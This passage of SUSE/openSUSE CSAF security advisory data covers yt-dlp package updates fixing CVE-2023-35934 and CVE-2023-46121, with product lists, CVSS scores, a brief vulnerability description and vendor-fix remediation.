]
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 6.1,
"baseSeverity": "MEDIUM",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:N/A:N",
"version": "3.1"
},
"products": [
"SUSE Package Hub 15 SP5:python311-yt-dlp-2023.11.14-bp155.3.3.1.noarch",
"SUSE Package Hub 15 SP5:yt-dlp-2023.11.14-bp155.3.3.1.noarch",
"SUSE Package Hub 15 SP5:yt-dlp-bash-completion-2023.11.14-bp155.3.3.1.noarch",
"SUSE Package Hub 15 SP5:yt-dlp-fish-completion-2023.11.14-bp155.3.3.1.noarch",
"SUSE Package Hub 15 SP5:yt-dlp-zsh-completion-2023.11.14-bp155.3.3.1.noarch",
"openSUSE Leap 15.5:python311-yt-dlp-2023.11.14-bp155.3.3.1.noarch",
"openSUSE Leap 15.5:yt-dlp-2023.11.14-bp155.3.3.1.noarch",
"openSUSE Leap 15.5:yt-dlp-bash-completion-2023.11.14-bp155.3.3.1.noarch",
"openSUSE Leap 15.5:yt-dlp-fish-completion-2023.11.14-bp155.3.3.1.noarch",
"openSUSE Leap 15.5:yt-dlp-zsh-completion-2023.11.14-bp155.3.3.1.noarch"
]
}
],
"threats": [
{
"category": "impact",
"date": "2023-11-18T19:00:58Z",
"details": "moderate"
}
],
"title": "CVE-2023-35934"
},
{
"cve": "CVE-2023-46121",
"ids": [
{
"system_name": "SUSE CVE Page",
"text": "https://www.suse.com/security/cve/CVE-2023-46121"
}
],
"notes": [
{
"category": "general",
"text": "yt-dlp is a youtube-dl fork with additional features and fixes. The Generic Extractor in yt-dlp is vulnerable to an attacker setting an arbitrary proxy for a request to an arbitrary url, allowing the attacker to MITM the request made from yt-dlp\u0027s HTTP session. This could lead to cookie exfiltration in some cases. Version 2023.11.14 removed the ability to smuggle `http_headers` to the Generic extractor, as well as other extractors that use the same pattern. Users are advised to upgrade. Users unable to upgrade should disable the Ggneric extractor (or only pass trusted sites with trusted content) and ake caution when using `--no-check-certificate`.",
"title": "CVE description"
}
],
"product_status": {
"recommended": [
"SUSE Package Hub 15 SP5:python311-yt-dlp-2023.11.14-bp155.3.3.1.noarch",
"SUSE Package Hub 15 SP5:yt-dlp-2023.11.14-bp155.3.3.1.noarch",
"SUSE Package Hub 15 SP5:yt-dlp-bash-completion-2023.11.14-bp155.3.3.1.noarch",
"SUSE Package Hub 15 SP5:yt-dlp-fish-completion-2023.11.14-bp155.3.3.1.noarch",
"SUSE Package Hub 15 SP5:yt-dlp-zsh-completion-2023.11.14-bp155.3.3.1.noarch",
"openSUSE Leap 15.5:python311-yt-dlp-2023.11.14-bp155.3.3.1.noarch",
"openSUSE Leap 15.5:yt-dlp-2023.11.14-bp155.3.3.1.noarch",
"openSUSE Leap 15.5:yt-dlp-bash-completion-2023.11.14-bp155.3.3.1.noarch",
"openSUSE Leap 15.5:yt-dlp-fish-completion-2023.11.14-bp155.3.3.1.noarch",
"openSUSE Leap 15.5:yt-dlp-zsh-completion-2023.11.14-bp155.3.3.1.noarch"
]
},
"references": [
{
"category": "external",
"summary": "CVE-2023-46121",
"url": "https://www.suse.com/security/cve/CVE-2023-46121"
},
{
"category": "external",
"summary": "SUSE Bug 1217153 for CVE-2023-46121",
"url": "https://bugzilla.suse.com/1217153"
}
],
"remediations": [
{
"category": "vendor_fix",
"details": "To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or \"zypper patch\".\n",
"product_ids": [
"SUSE Package Hub 15 SP5:python311-yt-dlp-2023.11.14-bp155.3.3.1.noarch",
"SUSE Package Hub 15 SP5:yt-dlp-2023.11.14-bp155.3.3.1.noarch",
"SUSE Package Hub 15 SP5:yt-dlp-bash-completion-2023.11.14-bp155.3.3.1.noarch",
"SUSE Package Hub 15 SP5:yt-dlp-fish-completion-2023.11.14-bp155.3.3.1.noarch",
"SUSE Package Hub 15 SP5:yt-dlp-zsh-completion-2023.11.14-bp155.3.3.1.noarch",
"openSUSE Leap 15.5:python311-yt-dlp-2023.11.14-bp155.3.3.1.noarch",
"openSUSE Leap 15.5:yt-dlp-2023.11.14-bp155.3.3.1.noarch",
"openSUSE Leap 15.5:yt-dlp-bash-completion-2023.11.14-bp155.3.3.1.noarch",
"openSUSE Leap 15.5:yt-dlp-fish-completion-2023.11.14-bp155.3.3.1.noarch",
"openSUSE Leap 15.5:yt-dlp-zsh-completion-2023.11.14-bp155.3.3.1.noarch"
]
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 3.7,
"baseSeverity": "LOW",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N",
"version": "3.1"
},
"products": [
"SUSE Package Hub 15 SP5:python311-yt-dlp-2023.11.14-bp155.3.3.1.noarch",
"SUSE Package Hub 15 SP5:yt-dlp-2023.11.14-bp155.3.3.1.noarch",
"SUSE Package Hub 15 SP5:yt-dlp-bash-completion-2023.11.14-bp155.3.3.1.noarch",
"SUSE Package Hub 15 SP5:yt-dlp-fish-completion-2023.11.14-bp155.3.3.1.noarch",
"SUSE Package Hub 15 SP5:yt-dlp-zsh-completion-2023.11.14-bp155.3.3.1.noarch",
"openSUSE Leap 15.5:python311-yt-dlp-2023.11.14-bp155.3.3.1.noarch",
"openSUSE Leap 15.5:yt-dlp-2023.11.14-bp155.3.3.1.noarch",
"openSUSE Leap 15.5:yt-dlp-bash-completion-2023.11.14-bp155.3.3.1.noarch",
"openSUSE Leap 15.5:yt-dlp-fish-completion-2023.11.14-bp155.3.3.1.noarch",
"openSUSE Leap 15.5:yt-dlp-zsh-completion-2023.11.14-bp155.3.3.1.noarch"
]
}
],
"threats": [
{
"category": "impact",
"date": "2023-11-18T19:00:58Z",
"details": "low"
}
],
"title": "CVE-2023-46121"
}
]
}
OPENSUSE-SU-2024:13435-1
Vulnerability from csaf_opensuse - Published: 2024-06-15 00:00 - Updated: 2024-06-15 00:00Summary
python310-yt-dlp-2023.11.16-1.1 on GA media
Severity
Moderate
Notes
Title of the patch: python310-yt-dlp-2023.11.16-1.1 on GA media
Description of the patch: These are all security issues fixed in the python310-yt-dlp-2023.11.16-1.1 package on the GA media of openSUSE Tumbleweed.
Patchnames: openSUSE-Tumbleweed-2024-13435
Terms of use: CSAF 2.0 data is provided by SUSE under the Creative Commons License 4.0 with Attribution (CC-BY-4.0).
Affected products
Recommended
28 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: openSUSE Tumbleweed:python310-yt-dlp-2023.11.16-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python310-yt-dlp-2023.11.16-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python310-yt-dlp-2023.11.16-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python310-yt-dlp-2023.11.16-1.1.x86_64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python311-yt-dlp-2023.11.16-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python311-yt-dlp-2023.11.16-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python311-yt-dlp-2023.11.16-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python311-yt-dlp-2023.11.16-1.1.x86_64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python39-yt-dlp-2023.11.16-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python39-yt-dlp-2023.11.16-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python39-yt-dlp-2023.11.16-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python39-yt-dlp-2023.11.16-1.1.x86_64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:yt-dlp-2023.11.16-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:yt-dlp-2023.11.16-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:yt-dlp-2023.11.16-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:yt-dlp-2023.11.16-1.1.x86_64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:yt-dlp-bash-completion-2023.11.16-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:yt-dlp-bash-completion-2023.11.16-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:yt-dlp-bash-completion-2023.11.16-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:yt-dlp-bash-completion-2023.11.16-1.1.x86_64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:yt-dlp-fish-completion-2023.11.16-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:yt-dlp-fish-completion-2023.11.16-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:yt-dlp-fish-completion-2023.11.16-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:yt-dlp-fish-completion-2023.11.16-1.1.x86_64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:yt-dlp-zsh-completion-2023.11.16-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:yt-dlp-zsh-completion-2023.11.16-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:yt-dlp-zsh-completion-2023.11.16-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:yt-dlp-zsh-completion-2023.11.16-1.1.x86_64 | — |
Vendor Fix
|
Threats
Impact
low
References
5 references
{
"document": {
"aggregate_severity": {
"namespace": "https://www.suse.com/support/security/rating/",
"text": "moderate"
},
"category": "csaf_security_advisory",
"csaf_version": "2.0",
"distribution": {
"text": "Copyright 2024 SUSE LLC. All rights reserved.",
"tlp": {
"label": "WHITE",
"url": "https://www.first.org/tlp/"
}
},
"lang": "en",
"notes": [
{
"category": "summary",
"text": "python310-yt-dlp-2023.11.16-1.1 on GA media",
"title": "Title of the patch"
},
{
"category": "description",
"text": "These are all security issues fixed in the python310-yt-dlp-2023.11.16-1.1 package on the GA media of openSUSE Tumbleweed.",
"title": "Description of the patch"
},
{
"category": "details",
"text": "openSUSE-Tumbleweed-2024-13435",
"title": "Patchnames"
},
{
"category": "legal_disclaimer",
"text": "CSAF 2.0 data is provided by SUSE under the Creative Commons License 4.0 with Attribution (CC-BY-4.0).",
"title": "Terms of use"
}
],
"publisher": {
"category": "vendor",
"contact_details": "https://www.suse.com/support/security/contact/",
"name": "SUSE Product Security Team",
"namespace": "https://www.suse.com/"
},
"references": [
{
"category": "external",
"summary": "SUSE ratings",
"url": "https://www.suse.com/support/security/rating/"
},
{
"category": "self",
"summary": "URL of this CSAF notice",
"url": "https://ftp.suse.com/pub/projects/security/csaf/opensuse-su-2024_13435-1.json"
},
{
"category": "self",
"summary": "SUSE CVE CVE-2023-46121 page",
"url": "https://www.suse.com/security/cve/CVE-2023-46121/"
}
],
"title": "python310-yt-dlp-2023.11.16-1.1 on GA media",
"tracking": {
"current_release_date": "2024-06-15T00:00:00Z",
"generator": {
"date": "2024-06-15T00:00:00Z",
"engine": {
"name": "cve-database.git:bin/generate-csaf.pl",
"version": "1"
}
},
"id": "openSUSE-SU-2024:13435-1",
"initial_release_date": "2024-06-15T00:00:00Z",
"revision_history": [
{
"date": "2024-06-15T00:00:00Z",
"number": "1",
"summary": "Current version"
}
],
"status": "final",
"version": "1"
}
},
"product_tree": {
"branches": [
{
"branches": [
{
"branches": [
{
"category": "product_version",
"name": "python310-yt-dlp-2023.11.16-1.1.aarch64",
"product": {
"name": "python310-yt-dlp-2023.11.16-1.1.aarch64",
"product_id": "python310-yt-dlp-2023.11.16-1.1.aarch64"
}
},
{
"category": "product_version",
"name": "python311-yt-dlp-2023.11.16-1.1.aarch64",
"product": {
"name": "python311-yt-dlp-2023.11.16-1.1.aarch64",
"product_id": "python311-yt-dlp-2023.11.16-1.1.aarch64"
}
},
{
"category": "product_version",
"name": "python39-yt-dlp-2023.11.16-1.1.aarch64",
"product": {
"name": "python39-yt-dlp-2023.11.16-1.1.aarch64",
"product_id": "python39-yt-dlp-2023.11.16-1.1.aarch64"
}
},
{
"category": "product_version",
"name": "yt-dlp-2023.11.16-1.1.aarch64",
"product": {
"name": "yt-dlp-2023.11.16-1.1.aarch64",
"product_id": "yt-dlp-2023.11.16-1.1.aarch64"
}
},
{
"category": "product_version",
"name": "yt-dlp-bash-completion-2023.11.16-1.1.aarch64",
"product": {
"name": "yt-dlp-bash-completion-2023.11.16-1.1.aarch64",
"product_id": "yt-dlp-bash-completion-2023.11.16-1.1.aarch64"
}
},
{
"category": "product_version",
"name": "yt-dlp-fish-completion-2023.11.16-1.1.aarch64",
"product": {
"name": "yt-dlp-fish-completion-2023.11.16-1.1.aarch64",
"product_id": "yt-dlp-fish-completion-2023.11.16-1.1.aarch64"
}
},
{
"category": "product_version",
"name": "yt-dlp-zsh-completion-2023.11.16-1.1.aarch64",
"product": {
"name": "yt-dlp-zsh-completion-2023.11.16-1.1.aarch64",
"product_id": "yt-dlp-zsh-completion-2023.11.16-1.1.aarch64"
}
}
],
"category": "architecture",
"name": "aarch64"
},
{
"branches": [
{
"category": "product_version",
"name": "python310-yt-dlp-2023.11.16-1.1.ppc64le",
"product": {
"name": "python310-yt-dlp-2023.11.16-1.1.ppc64le",
"product_id": "python310-yt-dlp-2023.11.16-1.1.ppc64le"
}
},
{
"category": "product_version",
"name": "python311-yt-dlp-2023.11.16-1.1.ppc64le",
"product": {
"name": "python311-yt-dlp-2023.11.16-1.1.ppc64le",
"product_id": "python311-yt-dlp-2023.11.16-1.1.ppc64le"
}
},
{
"category": "product_version",
"name": "python39-yt-dlp-2023.11.16-1.1.ppc64le",
"product": {
"name": "python39-yt-dlp-2023.11.16-1.1.ppc64le",
"product_id": "python39-yt-dlp-2023.11.16-1.1.ppc64le"
}
},
{
"category": "product_version",
"name": "yt-dlp-2023.11.16-1.1.ppc64le",
"product": {
"name": "yt-dlp-2023.11.16-1.1.ppc64le",
"product_id": "yt-dlp-2023.11.16-1.1.ppc64le"
}
},
{
"category": "product_version",
"name": "yt-dlp-bash-completion-2023.11.16-1.1.ppc64le",
"product": {
"name": "yt-dlp-bash-completion-2023.11.16-1.1.ppc64le",
"product_id": "yt-dlp-bash-completion-2023.11.16-1.1.ppc64le"
}
},
{
"category": "product_version",
"name": "yt-dlp-fish-completion-2023.11.16-1.1.ppc64le",
"product": {
"name": "yt-dlp-fish-completion-2023.11.16-1.1.ppc64le",
"product_id": "yt-dlp-fish-completion-2023.11.16-1.1.ppc64le"
}
},
{
"category": "product_version",
"name": "yt-dlp-zsh-completion-2023.11.16-1.1.ppc64le",
"product": {
"name": "yt-dlp-zsh-completion-2023.11.16-1.1.ppc64le",
"product_id": "yt-dlp-zsh-completion-2023.11.16-1.1.ppc64le"
}
}
],
"category": "architecture",
"name": "ppc64le"
},
{
"branches": [
{
"category": "product_version",
"name": "python310-yt-dlp-2023.11.16-1.1.s390x",
"product": {
"name": "python310-yt-dlp-2023.11.16-1.1.s390x",
"product_id": "python310-yt-dlp-2023.11.16-1.1.s390x"
}
},
{
"category": "product_version",
"name": "python311-yt-dlp-2023.11.16-1.1.s390x",
"product": {
"name": "python311-yt-dlp-2023.11.16-1.1.s390x",
"product_id": "python311-yt-dlp-2023.11.16-1.1.s390x"
}
},
{
"category": "product_version",
"name": "python39-yt-dlp-2023.11.16-1.1.s390x",
"product": {
"name": "python39-yt-dlp-2023.11.16-1.1.s390x",
"product_id": "python39-yt-dlp-2023.11.16-1.1.s390x"
}
},
{
"category": "product_version",
"name": "yt-dlp-2023.11.16-1.1.s390x",
"product": {
"name": "yt-dlp-2023.11.16-1.1.s390x",
"product_id": "yt-dlp-2023.11.16-1.1.s390x"
}
},
{
"category": "product_version",
"name": "yt-dlp-bash-completion-2023.11.16-1.1.s390x",
"product": {
"name": "yt-dlp-bash-completion-2023.11.16-1.1.s390x",
"product_id": "yt-dlp-bash-completion-2023.11.16-1.1.s390x"
}
},
{
"category": "product_version",
"name": "yt-dlp-fish-completion-2023.11.16-1.1.s390x",
"product": {
"name": "yt-dlp-fish-completion-2023.11.16-1.1.s390x",
"product_id": "yt-dlp-fish-completion-2023.11.16-1.1.s390x"
}
},
{
"category": "product_version",
"name": "yt-dlp-zsh-completion-2023.11.16-1.1.s390x",
"product": {
"name": "yt-dlp-zsh-completion-2023.11.16-1.1.s390x",
"product_id": "yt-dlp-zsh-completion-2023.11.16-1.1.s390x"
}
}
],
"category": "architecture",
"name": "s390x"
},
{
"branches": [
{
"category": "product_version",
"name": "python310-yt-dlp-2023.11.16-1.1.x86_64",
"product": {
"name": "python310-yt-dlp-2023.11.16-1.1.x86_64",
"product_id": "python310-yt-dlp-2023.11.16-1.1.x86_64"
}
},
{
"category": "product_version",
"name": "python311-yt-dlp-2023.11.16-1.1.x86_64",
"product": {
"name": "python311-yt-dlp-2023.11.16-1.1.x86_64",
"product_id": "python311-yt-dlp-2023.11.16-1.1.x86_64"
}
},
{
"category": "product_version",
"name": "python39-yt-dlp-2023.11.16-1.1.x86_64",
"product": {
"name": "python39-yt-dlp-2023.11.16-1.1.x86_64",
"product_id": "python39-yt-dlp-2023.11.16-1.1.x86_64"
}
},
{
"category": "product_version",
"name": "yt-dlp-2023.11.16-1.1.x86_64",
"product": {
"name": "yt-dlp-2023.11.16-1.1.x86_64",
"product_id": "yt-dlp-2023.11.16-1.1.x86_64"
}
},
{
"category": "product_version",
"name": "yt-dlp-bash-completion-2023.11.16-1.1.x86_64",
"product": {
"name": "yt-dlp-bash-completion-2023.11.16-1.1.x86_64",
"product_id": "yt-dlp-bash-completion-2023.11.16-1.1.x86_64"
}
},
{
"category": "product_version",
"name": "yt-dlp-fish-completion-2023.11.16-1.1.x86_64",
"product": {
"name": "yt-dlp-fish-completion-2023.11.16-1.1.x86_64",
"product_id": "yt-dlp-fish-completion-2023.11.16-1.1.x86_64"
}
},
{
"category": "product_version",
"name": "yt-dlp-zsh-completion-2023.11.16-1.1.x86_64",
"product": {
"name": "yt-dlp-zsh-completion-2023.11.16-1.1.x86_64",
"product_id": "yt-dlp-zsh-completion-2023.11.16-1.1.x86_64"
}
}
],
"category": "architecture",
"name": "x86_64"
},
{
"branches": [
{
"category": "product_name",
"name": "openSUSE Tumbleweed",
"product": {
"name": "openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed",
"product_identification_helper": {
"cpe": "cpe:/o:opensuse:tumbleweed"
}
}
}
],
"category": "product_family",
"name": "SUSE Linux Enterprise"
}
],
"category": "vendor",
"name": "SUSE"
}
],
"relationships": [
{
"category": "default_component_of",
"full_product_name": {
"name": "python310-yt-dlp-2023.11.16-1.1.aarch64 as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:python310-yt-dlp-2023.11.16-1.1.aarch64"
},
"product_reference": "python310-yt-dlp-2023.11.16-1.1.aarch64",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "python310-yt-dlp-2023.11.16-1.1.ppc64le as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:python310-yt-dlp-2023.11.16-1.1.ppc64le"
},
"product_reference": "python310-yt-dlp-2023.11.16-1.1.ppc64le",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "python310-yt-dlp-2023.11.16-1.1.s390x as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:python310-yt-dlp-2023.11.16-1.1.s390x"
},
"product_reference": "python310-yt-dlp-2023.11.16-1.1.s390x",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "python310-yt-dlp-2023.11.16-1.1.x86_64 as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:python310-yt-dlp-2023.11.16-1.1.x86_64"
},
"product_reference": "python310-yt-dlp-2023.11.16-1.1.x86_64",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "python311-yt-dlp-2023.11.16-1.1.aarch64 as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:python311-yt-dlp-2023.11.16-1.1.aarch64"
},
"product_reference": "python311-yt-dlp-2023.11.16-1.1.aarch64",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "python311-yt-dlp-2023.11.16-1.1.ppc64le as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:python311-yt-dlp-2023.11.16-1.1.ppc64le"
},
"product_reference": "python311-yt-dlp-2023.11.16-1.1.ppc64le",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "python311-yt-dlp-2023.11.16-1.1.s390x as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:python311-yt-dlp-2023.11.16-1.1.s390x"
},
"product_reference": "python311-yt-dlp-2023.11.16-1.1.s390x",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "python311-yt-dlp-2023.11.16-1.1.x86_64 as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:python311-yt-dlp-2023.11.16-1.1.x86_64"
},
"product_reference": "python311-yt-dlp-2023.11.16-1.1.x86_64",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "python39-yt-dlp-2023.11.16-1.1.aarch64 as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:python39-yt-dlp-2023.11.16-1.1.aarch64"
},
"product_reference": "python39-yt-dlp-2023.11.16-1.1.aarch64",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "python39-yt-dlp-2023.11.16-1.1.ppc64le as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:python39-yt-dlp-2023.11.16-1.1.ppc64le"
},
"product_reference": "python39-yt-dlp-2023.11.16-1.1.ppc64le",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "python39-yt-dlp-2023.11.16-1.1.s390x as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:python39-yt-dlp-2023.11.16-1.1.s390x"
},
"product_reference": "python39-yt-dlp-2023.11.16-1.1.s390x",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "python39-yt-dlp-2023.11.16-1.1.x86_64 as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:python39-yt-dlp-2023.11.16-1.1.x86_64"
},
"product_reference": "python39-yt-dlp-2023.11.16-1.1.x86_64",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "yt-dlp-2023.11.16-1.1.aarch64 as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:yt-dlp-2023.11.16-1.1.aarch64"
},
"product_reference": "yt-dlp-2023.11.16-1.1.aarch64",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "yt-dlp-2023.11.16-1.1.ppc64le as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:yt-dlp-2023.11.16-1.1.ppc64le"
},
"product_reference": "yt-dlp-2023.11.16-1.1.ppc64le",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "yt-dlp-2023.11.16-1.1.s390x as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:yt-dlp-2023.11.16-1.1.s390x"
},
"product_reference": "yt-dlp-2023.11.16-1.1.s390x",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "yt-dlp-2023.11.16-1.1.x86_64 as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:yt-dlp-2023.11.16-1.1.x86_64"
},
"product_reference": "yt-dlp-2023.11.16-1.1.x86_64",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "yt-dlp-bash-completion-2023.11.16-1.1.aarch64 as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:yt-dlp-bash-completion-2023.11.16-1.1.aarch64"
},
"product_reference": "yt-dlp-bash-completion-2023.11.16-1.1.aarch64",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "yt-dlp-bash-completion-2023.11.16-1.1.ppc64le as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:yt-dlp-bash-completion-2023.11.16-1.1.ppc64le"
},
"product_reference": "yt-dlp-bash-completion-2023.11.16-1.1.ppc64le",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "yt-dlp-bash-completion-2023.11.16-1.1.s390x as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:yt-dlp-bash-completion-2023.11.16-1.1.s390x"
},
"product_reference": "yt-dlp-bash-completion-2023.11.16-1.1.s390x",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "yt-dlp-bash-completion-2023.11.16-1.1.x86_64 as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:yt-dlp-bash-completion-2023.11.16-1.1.x86_64"
},
"product_reference": "yt-dlp-bash-completion-2023.11.16-1.1.x86_64",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "yt-dlp-fish-completion-2023.11.16-1.1.aarch64 as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:yt-dlp-fish-completion-2023.11.16-1.1.aarch64"
},
"product_reference": "yt-dlp-fish-completion-2023.11.16-1.1.aarch64",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "yt-dlp-fish-completion-2023.11.16-1.1.ppc64le as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:yt-dlp-fish-completion-2023.11.16-1.1.ppc64le"
},
"product_reference": "yt-dlp-fish-completion-2023.11.16-1.1.ppc64le",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "yt-dlp-fish-completion-2023.11.16-1.1.s390x as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:yt-dlp-fish-completion-2023.11.16-1.1.s390x"
},
"product_reference": "yt-dlp-fish-completion-2023.11.16-1.1.s390x",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "yt-dlp-fish-completion-2023.11.16-1.1.x86_64 as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:yt-dlp-fish-completion-2023.11.16-1.1.x86_64"
},
"product_reference": "yt-dlp-fish-completion-2023.11.16-1.1.x86_64",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "yt-dlp-zsh-completion-2023.11.16-1.1.aarch64 as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:yt-dlp-zsh-completion-2023.11.16-1.1.aarch64"
},
"product_reference": "yt-dlp-zsh-completion-2023.11.16-1.1.aarch64",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "yt-dlp-zsh-completion-2023.11.16-1.1.ppc64le as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:yt-dlp-zsh-completion-2023.11.16-1.1.ppc64le"
},
"product_reference": "yt-dlp-zsh-completion-2023.11.16-1.1.ppc64le",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "yt-dlp-zsh-completion-2023.11.16-1.1.s390x as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:yt-dlp-zsh-completion-2023.11.16-1.1.s390x"
},
"product_reference": "yt-dlp-zsh-completion-2023.11.16-1.1.s390x",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "yt-dlp-zsh-completion-2023.11.16-1.1.x86_64 as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:yt-dlp-zsh-completion-2023.11.16-1.1.x86_64"
},
"product_reference": "yt-dlp-zsh-completion-2023.11.16-1.1.x86_64",
"relates_to_product_reference": "openSUSE Tumbleweed"
}
]
},
"vulnerabilities": [
{
"cve": "CVE-2023-46121",
"ids": [
{
"system_name": "SUSE CVE Page",
"text": "https://www.suse.com/security/cve/CVE-2023-46121"
}
],
"notes": [
{
"category": "general",
